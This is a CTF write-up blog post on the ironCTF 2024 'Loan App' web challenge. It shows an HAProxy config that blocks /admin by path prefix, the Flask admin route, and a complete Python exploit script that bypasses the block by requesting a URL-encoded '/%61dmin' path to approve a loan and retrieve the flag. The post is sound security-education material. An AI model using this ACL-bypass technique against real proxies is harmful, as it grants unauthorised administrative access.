Skip to content
webIronCTF 2024125 words · 1 min read

Loan App

By akiidjk · 17/07/2026

One of the first web challenges solved in ctf, not very complex (at least the unintended solution)

Points
394
Solves
129
web

Introduction

This is the challenge web with the most solutions, which I must say is very nice, my solution is the unintended but also the most common one, in fact the correct approach would have been to do 'request smuggling', which is a much more complex attack to bypass the proxy, which in this case consists of splitting a request between proxy and backend.

Solve intended: Something like this

Source

We focus on the proxy config

# filename: file.py

global
    log stdout format raw local0
    maxconn 2000
    user root
    group root
    daemon

defaults
    log global
    option httplog
    timeout client 30s
    timeout server 30s
    timeout connect 30s

frontend http_front
    mode http
    bind :80
    acl is_admin path_beg /admin # Miss config
    http-request deny if is_admin # Miss config
    default_backend gunicorn

backend gunicorn
    mode http
    balance roundrobin
    server loanserver loanapp:8000 maxconn 32

And win function

# filename: app.py

@app.route('/admin/loan/<loan_id>', methods=['POST'])
def admin_approve_loan(loan_id):
    try:
        mongo.db.loan.update_one({'_id': ObjectId(loan_id)}, {'$set': {'status': 'approved', 'message': FLAG}})
        return 'OK', 200
    except:
        return 'Internal Server Error', 500

Comments added by me

Solution

The solution is very simple: just read the source code, register and login, and create a loan. Once this is done, thanks to the /admin/loan/id endpoint, the loan is approved by setting the flag

Exploit

# filename: exploit.py

#!/usr/bin/python3

import http
import requests
from uuid import uuid4
from bs4 import BeautifulSoup
import urllib3.util

BASE_URL = "http://loanapp.1nf1n1ty.team/"
s = requests.Session()

def login(username,password):
  r = s.post(BASE_URL + "login", data={"username": username, "password": password})
  if r.status_code == 200:
    print("[+] Login successful")
  else:
    print("[-] Login failed: " + r.text)
    exit(1)

def register(username,password):
  r = s.post(BASE_URL + "register",data={"username": username, "password": password})
  if r.status_code == 200:
    print("[+] Registration successful")
  else:
    print("[-] Registration failed: " + r.text)
    exit(1)


def loan_request():
  r = s.post(BASE_URL + "loan-request", data={"amount": "696969696969696969", "reason": "I need money for cookies"})
  if r.status_code == 200:
    print("[+] Loan request successful")
  else:
    print("[-] Loan request failed: " + r.text)
    exit(1)

def get_loan_id():
  r = s.get(BASE_URL)
  soup = BeautifulSoup(r.text, 'html.parser')
  loan_id = soup.find("span", attrs={"class":"loan-id"}).text.strip().split(": ")[1]
  return loan_id

def exploit(loan_id):
  conn = http.client.HTTPConnection(urllib3.util.parse_url(BASE_URL).host)
  conn.request("POST", f"/%61dmin/loan/{loan_id}") # Use http instead of requests for avoid auto url encoding of requests
  response = conn.getresponse()
  if response.status != 200:
    print("[-] Exploit failed")
    exit(1)

def get_flag():
  r = s.get(BASE_URL)
  soup = BeautifulSoup(r.text, 'html.parser')
  return soup.find("p", attrs={"class": "loan-message"}).text.strip()[7:]

def main():
  username, password = uuid4(), uuid4()
  print(f"Username: {username} Password: {password}")
  register(username,password)
  login(username,password)
  loan_request()
  loan_id = get_loan_id()
  print(f"[+] Loan ID: {loan_id}")
  exploit(loan_id)
  print(f"[+] Flag: {get_flag()}")


if __name__ == "__main__":
  main()

# goodluck by @akiidjk

flag: ironCTF{L04n_4ppr0v3d_f0r_H4ck3r$!!}

ByteTheCookies

Hello, we are ByteTheCookies (BTC), a passionate CTF team formed by students from the University of Salerno after participating in the CyberChallenge 2024.

CTFtime #309819

We play

web3cancryptohardwaremiscmobileppcpwnreverseweb
© 2026 ByteTheCookies. All wrongs reversed.We don't eat cookies. We byte them.